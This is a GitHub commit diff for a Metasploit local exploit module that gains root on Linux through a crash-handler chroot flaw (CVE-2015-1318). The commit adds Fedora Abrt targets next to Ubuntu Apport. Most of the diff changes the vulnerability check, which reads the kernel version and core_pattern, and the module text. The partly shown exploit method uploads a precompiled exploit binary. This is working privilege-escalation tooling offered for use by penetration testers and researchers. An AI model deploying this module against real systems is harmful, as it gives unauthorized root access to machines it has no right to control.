Skip to content

Commit c234d05

Browse files
committed
Add support for abrt on Fedora
1 parent 2f3e3b4 commit c234d05

File tree

1 file changed

+59
-43
lines changed

1 file changed

+59
-43
lines changed

modules/exploits/linux/local/apport_chroot_priv_esc.rb

Lines changed: 59 additions & 43 deletions
Original file line numberDiff line numberDiff line change
@@ -12,19 +12,27 @@ class MetasploitModule < Msf::Exploit::Local
1212

1313
def initialize(info = {})
1414
super(update_info(info,
15-
'Name' => 'Apport chroot Privilege Escalation',
15+
'Name' => 'Apport / Abrt chroot Privilege Escalation',
1616
'Description' => %q{
17-
This module attempts to gain root privileges on Ubuntu by invoking
18-
the default coredump handler (Apport) inside a namespace ("container").
17+
This module attempts to gain root privileges on Linux systems by
18+
invoking the default coredump handler inside a namespace ("container").
1919
2020
Apport versions 2.13 through 2.17.x before 2.17.1 on Ubuntu are
21-
vulnerable (CVE-2015-1318), due to a feature which allows forwarding
22-
reports to a container's Apport, causing usr/share/apport/apport
23-
within the crashed task's directory to be executed. Apport does not
24-
not drop privileges, resulting in code execution as root.
21+
vulnerable, due to a feature which allows forwarding reports to
22+
a container's Apport by changing the root directory before loading
23+
the crash report, causing 'usr/share/apport/apport' within the crashed
24+
task's directory to be executed.
2525
26-
This module has been tested successfully on Apport 2.14.1
27-
on Ubuntu 14.04.1 LTS x86 and x86_64.
26+
Similarly, Fedora is vulnerable when the kernel crash handler is
27+
configured to change root directory before executing Abrt, causing
28+
'usr/libexec/abrt-hook-ccpp' within the crashed task's directory to be
29+
executed.
30+
31+
In both instances, the crash handler does not drop privileges,
32+
resulting in code execution as root.
33+
34+
This module has been tested successfully on Apport 2.14.1 on
35+
Ubuntu 14.04.1 LTS x86 and x86_64 and Abrt on Fedora 19 and 20 x86_64.
2836
},
2937
'License' => MSF_LICENSE,
3038
'Author' =>
@@ -35,18 +43,23 @@ def initialize(info = {})
3543
'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
3644
],
3745
'DisclosureDate' => 'Mar 31 2015',
38-
'Platform' => [ 'linux'],
46+
'Platform' => [ 'linux' ],
3947
'Arch' => [ ARCH_X86, ARCH_X64 ],
4048
'SessionTypes' => [ 'shell', 'meterpreter' ],
4149
'Targets' => [[ 'Auto', {} ]],
4250
'References' =>
4351
[
44-
[ 'EDB', '36782' ],
45-
[ 'EDB', '36746' ],
4652
[ 'CVE', '2015-1318' ],
47-
[ 'URL', 'https://usn.ubuntu.com/usn/USN-2569-1/' ],
4853
[ 'URL', 'http://www.openwall.com/lists/oss-security/2015/04/14/4' ],
54+
# Exploits
55+
[ 'EDB', '36782' ],
56+
[ 'EDB', '36746' ],
4957
[ 'URL', 'https://gist.github.com/taviso/0f02c255c13c5c113406' ],
58+
# Abrt (Fedora)
59+
[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1211223' ],
60+
[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1211835' ],
61+
# Apport (Ubuntu)
62+
[ 'URL', 'https://usn.ubuntu.com/usn/USN-2569-1/' ],
5063
[ 'URL', 'https://code.launchpad.net/~stgraber/apport/pidns-support/+merge/200893' ],
5164
[ 'URL', 'https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1438758' ],
5265
[ 'URL', 'http://bazaar.launchpad.net/~apport-hackers/apport/trunk/revision/2943' ]
@@ -63,50 +76,53 @@ def base_dir
6376
end
6477

6578
def check
66-
res = cmd_exec 'apport-cli --version'
79+
kernel_version = Gem::Version.new cmd_exec('uname -r').split('-').first
6780

68-
if res.blank?
69-
vprint_error 'Apport is NOT installed'
81+
if kernel_version < Gem::Version.new('3.12')
82+
vprint_error "Linux kernel version #{kernel_version} is NOT vulnerable"
7083
return CheckCode::Safe
7184
end
7285

73-
apport_version = Gem::Version.new res
86+
vprint_good "Linux kernel version #{kernel_version} is vulnerable"
7487

75-
if apport_version >= Gem::Version.new('2.13') && apport_version < Gem::Version.new('2.17.1')
76-
vprint_good "Apport version #{apport_version} is vulnerable"
77-
else
78-
vprint_error "Apport version #{apport_version} is NOT vulnerable"
79-
return CheckCode::Safe
88+
kernel_core_pattern = cmd_exec 'cat /proc/sys/kernel/core_pattern'
89+
90+
# Vulnerable core_pattern (abrt):
91+
# kernel.core_pattern = |/usr/sbin/chroot /proc/%P/root /usr/libexec/abrt-hook-ccpp %s %c %p %u %g %t e
92+
# Patched systems no longer preface the command with /usr/sbin/chroot
93+
# kernel.core_pattern = |/usr/libexec/abrt-hook-ccpp %s %c %p %u %g %t e
94+
if kernel_core_pattern.include?('chroot') && kernel_core_pattern.include?('abrt-hook-ccpp')
95+
vprint_good 'System is configured to chroot Abrt for crash reporting'
96+
return CheckCode::Vulnerable
8097
end
8198

82-
os = cmd_exec 'grep ^ID= /etc/os-release'
99+
# Vulnerable core_pattern (apport):
100+
# kernel.core_pattern = |/usr/share/apport/apport %p %s %c %P
101+
if kernel_core_pattern.include? 'apport'
102+
vprint_good 'System is configured to use Apport for crash reporting'
83103

84-
if os.include? 'ID=ubuntu'
85-
vprint_good 'Target operating system is Ubuntu'
86-
else
87-
vprint_error 'Target operating system is NOT supported'
88-
return CheckCode::Safe
89-
end
104+
res = cmd_exec 'apport-cli --version'
90105

91-
kernel_version = Gem::Version.new cmd_exec 'uname -r'
106+
if res.blank?
107+
vprint_error 'Apport is NOT installed'
108+
return CheckCode::Safe
109+
end
92110

93-
if kernel_version >= Gem::Version.new('3.12')
94-
vprint_good "Linux kernel version #{kernel_version} is vulnerable"
95-
else
96-
vprint_error "Linux kernel version #{kernel_version} is NOT vulnerable"
97-
return CheckCode::Safe
98-
end
111+
apport_version = Gem::Version.new(res.split('-').first)
99112

100-
kernel_core_pattern = cmd_exec 'sysctl -a | grep core_pattern'
113+
if apport_version >= Gem::Version.new('2.13') && apport_version < Gem::Version.new('2.17.1')
114+
vprint_good "Apport version #{apport_version} is vulnerable"
115+
return CheckCode::Vulnerable
116+
end
117+
118+
vprint_error "Apport version #{apport_version} is NOT vulnerable"
101119

102-
if kernel_core_pattern.include? 'apport'
103-
vprint_good 'System is configured to use Apport for crash reporting'
104-
else
105-
vprint_error 'System is NOT configured to use Apport for crash reporting'
106120
return CheckCode::Safe
107121
end
108122

109-
CheckCode::Vulnerable
123+
vprint_error 'System is NOT configured to use Apport or chroot Abrt for crash reporting'
124+
125+
CheckCode::Safe
110126
end
111127

112128
def upload_and_chmodx(path, data)
@@ -124,7 +140,7 @@ def exploit
124140

125141
# Upload Tavis Ormandy's newpid exploit:
126142
# - https://www.exploit-db.com/exploits/36746/
127-
# Cross-compiled with musl:
143+
# Cross-compiled with:
128144
# - i486-linux-musl-cc -static newpid.c
129145
path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2015-1318', 'newpid'
130146
fd = ::File.open path, 'rb'

0 commit comments

Comments
 (0)